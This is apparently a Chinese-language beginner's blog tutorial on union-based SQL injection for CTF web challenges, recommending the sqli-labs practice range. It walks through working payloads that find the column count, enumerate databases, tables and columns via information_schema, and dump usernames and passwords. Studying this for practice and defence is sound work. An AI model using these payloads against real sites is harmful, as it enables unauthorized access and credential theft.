第一次写分享类的文章,有错误的地方还请大家多多指正哈!此篇文章主要分享一些刷web题目中会遇到的一些知识点,之后还会继续分享一些关于这方面的知识。
简单的sql注入
预备知识
- schema:可以代表数据库的组织和结构,其中schema和schemata的模式可以是表、列、数据类型、关系、主键等等。下面会通过例子来说明,大家可以自行体会。
- information_schema: 是MySQL自带的信息数据库,用于存储数据库元数据(例如:数据库名、表名等等),可以认为他包含所有的库。但是information_schema中的表实际上是视图,而不是基本表。
- union:联合查询,将多条查询语句的结果合并成一个结果 。
- %23:在sql语句的后面可以添加%23或者#等一些注释符,把后面的语句注释掉,有些时候可以避免一些限制。
- group_concat():将所有能查询到的数据全部列举出来
- group_concat(concat_ws(’:’,1,2)):用’:'分隔输出所有的数据,比如说1:2.
注入前判断
- 判断是否有注入
- 判断注入类型
- 语句是否能被修改
- 是否能被执行
- 获取我们想要的数据
如何判断
- 可控参数的改变能否影响页面显示结果
- 输入的sql语句是否报错,通过报错查看sql语句痕迹
注入顺序及操作
- 获取信息的顺序:数据库 > 表 > 字段 > 值
1.在进行注入操作前,你需要知道当前查询的字段数,只有在字段数相同时,sql语句才能查询成功,故需要猜解字段。下面将介绍俩种获取字段数的方法:
url + union select 1,2,3,4 %23/#
- 上面的这条语句是通过联合查询获取字段数,1234即各代表一个字段,只有在字段数相同的时候才能查询成功。同时会回显出注入点(即在屏幕中显示出来的数字。)
url + order by 数字 %23/#
- 这条语句是通过二分法来判断字段数,当数字为正确的字段数时,不会报错。
2.通过爆字段数并获取注入点之后即可开始查询了
url + union select 1,database(),version() from information_schema.schemata %23
- 此条语句是在字段数为3且注入点在2和3的位置的情况下的,用于获取当前的数据库名以及版本号。
url + union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
- 查询当前数据库下的所有表
url + union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’ %23
- 此条语句是在得知当前的表名为users时查询所有的字段
url + union select 1,group_concat(concat_ws(’:’,username,password)),3 from users %23
- 通过以上查询到的字段名查询所有的用户名和密码。
总结
一般sql注入的都不会这么简单,我也只是列举了一些基础的知识点。其中sql注入还包括整形注入、字符注入、布尔盲注、时间注入等等,有时还会有一些检测机制,这时候就需要随机应变了,在这里我推荐一个靶场,可以专门用于刷sql注入的题目-sqli labs。这个靶场需要部署在sql+php+Apache的集成软件上,有兴趣的小伙伴可以部署一下去练练手!